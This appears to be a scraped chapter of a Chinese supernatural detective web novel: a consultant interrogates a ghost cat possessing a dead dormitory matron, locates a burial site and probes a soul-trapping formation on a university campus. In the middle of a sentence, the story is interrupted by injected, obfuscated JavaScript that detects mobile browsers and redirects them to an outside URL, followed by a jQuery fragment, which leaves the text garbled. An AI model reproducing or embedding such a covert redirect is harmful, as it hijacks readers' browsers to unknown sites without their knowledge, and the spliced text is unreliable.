张奇是警察,虽然也觉得腐尸恶臭难闻,但早已习惯,尚在忍受范围之内,更让他好奇的是,在他的视角里,他所看到的除了尸体本身之外,还有一只黑白相间的半透明小猫身影,它就蜷缩在尸体之中,对着张奇龇牙咧嘴。
人都是视觉动物,即便知道是鬼,看到是可爱的小猫,便天然地少了几分畏惧。
“定!”
张奇闻声,歪头看向尸体后方,是秦远寂定住了尸体,那只猫似乎很不高兴,拼命地想伸出爪子挠张奇,可就像面前有什么屏障挡着它一样,怎么都碰不到张奇。
池惊鹊看向拉上窗帘,一点动静都没有的宿管办公室,想了想,还是没把尸体带过去,而是直接用因果丝将那只小猫的魂魄从尸体内拉了出来。
虽然这只是普通的小猫,但身上竟然也有不少因果,想来是既受过不少欺负,也被不少好心人喂养过。
没有了牵引,尸体便失去了站立的力道,池惊鹊抬手,缓了缓尸体倒地的速度,让她能轻轻地倒下,不至于死后还要受太多颠簸。
被一圈金光笼罩的小猫浮在半空中,被一群人团团围住,它“喵喵喵”地叫着,凶神恶煞地挥动着自己的小短腿,却怎么都跑不掉。
“别闹腾了,你只要乖乖回答我的问题,我就放你走。”池惊鹊被小猫逗笑,语气更温柔几分。
高雾也觉得这小猫凶得怪可爱的,伸出手指想戳一下它,可手指却直直穿了过去,她才意识到这并不是小猫的实体。
“喵,喵喵。”小猫盯着池惊鹊,叫了几声。
张奇好奇问道:“这怎么审问啊?压根听不懂啊。”
“它说的是,行,你要问什么。”池惊鹊翻译完,又问出自己的问题,“你为何要附在这位阿姨的身上,出来吓唬同学们,你又是怎么从太平间跑到这里来的?”
“喵喵喵喵,喵喵,喵喵喵。”
众人齐刷刷看向池惊鹊,池惊鹊神色却是一变:“它说,它附在宿管身上只是为了找人,提醒对方赶紧离开这所大学,这里很危险,但它——”
池惊鹊抬眼看向秦远寂,微微蹙眉:“并不是从太平间逃出来的,宿管阿姨的尸体,一直都被埋在学校里。”
玻璃窗后的帘子动了动,像是有人贴着窗帘。
池惊鹊朝那里看了一眼,继续问道:“那你能不能带我们去埋尸的地方?”
小猫思索一番,一双剔透的眼瞳滴溜溜地转着,最后还是矜持地点点头,又抓了那困住它的金色光圈一下。
池惊鹊轻笑一声,将它放到地上。
小猫一落地便立刻往外一窜,发现自由了之后,兴奋地想跑,然而还被跳出多远,就感到身上像是被什么束缚了一般,动弹不得。
“喵喵喵喵喵!”
池惊鹊手中牵着因果丝,无视了小猫愤怒的叫声,慢悠悠地走到宿管那间办公室窗前敲了三下:“这位前任宿管阿姨的尸体暂且放这里,麻烦您看着点儿,若有人要来抢,便捏碎这颗豆子,你无需出面阻拦,我想,您也不希望自己成为下一个猝死的宿管吧?”
新上任的宿管阿姨怎么都不会想到,自己不过是托关系找了个大学宿管的工作,这才几天啊,就遇到这么多稀奇古怪的事情。
窗帘被掀开一个角,一只手伸出来打开窗户,池惊鹊便丢了两颗红豆放到她手心。
拿到红豆后,宿管立刻缩回手,关上窗。
“走吧。”池惊鹊这才走出宿舍楼,小猫也发现自己又能动了,不过它也看出来了,自己完全不是池惊鹊的对手,只能乖乖听话了。
小猫引着他们到了另一栋宿舍楼下,看阳台悬挂着的那些衣服,这里应该是男生宿舍。
最终,小猫停在男生宿舍楼下的一处绿化草坪里。
张奇立刻蹲下,用手捻了些泥土放到鼻子下面闻了闻:“奇怪,如果是这里是埋尸地,怎么一点味道也没有。”
小猫白了他一眼,跑到池惊鹊脚边蹭着她的裤脚。
池惊鹊蹲下,摸摸它的脑袋:“你也是死在这里的吗?”
小猫点点头,池惊鹊又问:“张队,高雾,海盛大学各个出口都布控了吗?”
“放心,今天发现有问题后,我就让超管局联合民警守好每个出口了。”高雾说道,“不过我们毕竟不是这所学校的人,还不确定会不会有些只有学生们知道的地方能方便离校。”
“无妨。”池惊鹊低头,手指落在小猫的头顶,“好了,我知道你要提醒谁了,我答应你,会保护好她,让这个学校恢复正常,你可以安心去轮回了。”
“喵喵喵。”
“好。”池惊鹊笑道,扬手一挥,小猫的魂魄便慢慢消散了。
秦远寂好奇地凑近问道:“它最后说了什么啊?”
池惊鹊起身,拍了拍手上不存在的土,笑道:“它说,如果我食言,它就算是做了人,也不会放过我的。”
“那池顾问,我们接下来怎么办?你要的那些盒子已经做好了,正在送过来的路上。”张奇摩拳擦掌,“我们今天就要大干一场了吗?”
池惊鹊摇摇头,没有具体回答,只是手中掐诀,眨眼间,众人发现自己又回到了女生宿舍楼下,那具尸体还好端端地躺在那里,并没有什么东西想要来争夺。
池惊鹊走过去,将之前在尸体上设下的陷阱除去,思索道:“张队,能不能问问调查副校长的同事们,他们抓了多少人,是否有人逃脱?”
“害,这次是突击调查,他们都没准备,估计啊只有还没被挖出来的,不会有已经逃掉的。”张奇话是这么说,但还是听话地走到一旁打电话询问调查进度去了。
秦远寂问:“你是怀疑,关于这所学校所有疑点的幕后黑手在这些校领导之中?可那副校长,明明就是个普通人。”
“我不确定,还在试。”池惊鹊叹息,“我怀疑,幕后黑手是各自为政的两拨人。”
不一会儿,张奇打完电话回来,崇拜地看着池惊鹊:“池顾问,还真被你说中了,有一个人逃了,就是海盛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311303|198860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大学现在的校长赵天,根据副校长所交代的一系列违规操作、贪污受贿等犯罪行为,大部分都有赵天的参与和指示,可奇怪的是,今天警队的同事找了大半天都没找到赵天的踪迹,就好像他凭空失踪了一样。”
“凭空消失?”池惊鹊手中再次调出因果书,查看后表情有些奇怪,“按照因果书所写,他已经死了一月有余。”
“什么?不可能啊!”张奇惊诧道,“他们说了,直到昨天,他的踪迹我们都能查出来,只是今天才消失的。”
就在这时,张奇的手机再次响起,他看到来电人后立马接起,说了两句后又问池惊鹊:“池顾问,你要的柳木盒子已经送到学校门口了,是让他们送进来,还是我们去拿比较安全?”
“你,你,还有你,你们三个去拿,你们身上阳气与正气都很重,一般鬼物不敢近身。”池惊鹊点了张奇和另外两名队员道,“拿到盒子尽快回来,张队现在开了阴阳眼,如果在路上看到什么,装作没看到就好了。”
张奇被她说得起了一手的鸡皮疙瘩,和手机对面的人交代完后,立刻与两名队员出发去大门拿盒子。
池惊鹊也没浪费时间,观察了一圈附近的绿化,走到其中一棵高大的槐树之下,手掌往树上一拍。
高雾只觉得眼前顿时金光大盛,耳畔传来凛冽的风声,夹杂着无数人的痛哭与哀嚎声,仿佛要将她一起拖入那无间炼狱中。
就在高雾的精神即将崩溃的前一刻,脑海中蓦然像被注入一股清冽的甘泉般,稳住了狂风暴雨,只有潺潺流水涤荡着世间一切污秽。
高雾猛地睁眼,捂着胸口深吸一口气,看到旁边剩下的张奇队员也都和她一样,不禁问道:“我刚刚,这是怎么了?”
池惊鹊眼里有些愧疚:“抱歉,刚刚没考虑到你们的承受力,这槐树底下有其中一个聚阴纳财阵,我刚刚想探查一下阵法的情况,你听到的看到的,都是那些被困在阵法里的魂魄的哀鸣,这里阴气太重,他们怨恨太深,你们也差点被影响了。”
高雾闻言,却并未在意自己刚刚的经历,只是观察着秦远寂,发现他没有受到任何影响,才放下心来。
“没事,你不用道歉,是我太弱了才会被影响,只要池顾问和秦老师没事就好。”高雾说道,“这阵法,存在多久了?”
“大约两年。”池惊鹊道,“今天我数过了,阵法一共有五个,其中三个在女生宿舍,还有两个在男生宿舍,不过女生宿舍阴气更重,困住的冤魂也更多,若我猜得没错,女尸都埋在男生宿舍的阵法中,男尸则埋在女生宿舍的阵法中,以此压制阳气。”
高雾担心地问:“那等下就这样直接破阵吗?会不会影响到这里的学生?要不,我还是请求下援助,先把学校里的其他人都撤出去?”
池惊鹊还未回答,张奇便带着自己的两名队员风风火火地跑了回来。
“池顾问,盒子拿到了,我们是不是可以开始干活了?”张奇双手将自己怀里的两个盒子递给池惊鹊,一脸期待地问。